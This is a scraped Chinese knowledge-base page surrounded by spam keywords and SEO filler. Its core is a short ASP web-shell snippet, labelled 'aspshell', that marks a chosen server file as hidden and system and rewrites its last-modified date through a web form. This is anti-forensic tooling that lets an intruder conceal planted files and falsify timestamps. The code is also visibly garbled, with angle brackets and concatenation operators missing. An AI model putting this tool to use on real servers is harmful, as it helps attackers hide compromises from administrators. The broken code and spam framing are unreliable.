婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > asp 隱藏并修改文件的最后修改時間

asp 隱藏并修改文件的最后修改時間

熱門標簽:騰訊地圖標注商戶關閉 武漢營銷電話機器人軟件 徐州人工智能電銷機器人好用嗎 智能電銷機器人適用于哪些行業 地圖標注宅基地 外呼系統還用卡么 西寧公司外呼系統平臺 長沙防封電銷卡品牌 地圖標注服務哪家好

源碼:
復制代碼 代碼如下:

%
'隱藏并修改文件的最后修改時間的aspshell
'原理:通過FSO可以修改文件的屬性,比如設置為只讀,隱藏,系統等等;FSO中的attributes屬性修改文件屬性,1只讀,2隱藏,4系統文件
' 通過shell.application可以給文件重新設置一個最后修改時間
'2009/02/24 write by skyfire
response.write "form method=post>"
response.write "路 徑:input name=path value='"server.mappath("/")"' size='30'>(一定要以\結尾)br />"
response.write "文件名稱:input name=filename value='test.txt' size='30'>br />"
response.write "修改時間:input name=time value='12/30/2099 12:30:30' size='30'>br />"
response.write "input type=submit value=修改并隱藏文件>"
response.write "/form>"
'獲取提交的參數
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'通過fso設置文件屬性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(pathfileName)
file.attributes=2+4 '設置文件屬性為隱藏+系統
'通過shell.Application修改文件的最后修改時間
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>

標簽:荊門 普洱 巴彥淖爾 運城 通化 通遼 雅安 鷹潭

巨人網絡通訊聲明:本文標題《asp 隱藏并修改文件的最后修改時間》,本文關鍵詞  asp,隱藏,并,修改,文件,的,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《asp 隱藏并修改文件的最后修改時間》相關的同類信息!
  • 本頁收集關于asp 隱藏并修改文件的最后修改時間的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 安图县| 栾城县| 濉溪县| 武功县| 深泽县| 进贤县| 涪陵区| 虹口区| 灵山县| 营山县| 墨竹工卡县| 化隆| 英德市| 北票市| 班玛县| 安庆市| 浠水县| 辽阳市| 乐都县| 土默特右旗| 彰化市| 新民市| 南雄市| 若尔盖县| 蒲江县| 青冈县| 新沂市| 芮城县| 徐闻县| 延庆县| 宜丰县| 普陀区| 翁源县| 阿瓦提县| 开鲁县| 靖西县| 海晏县| 太保市| 科技| 仙居县| 沂源县|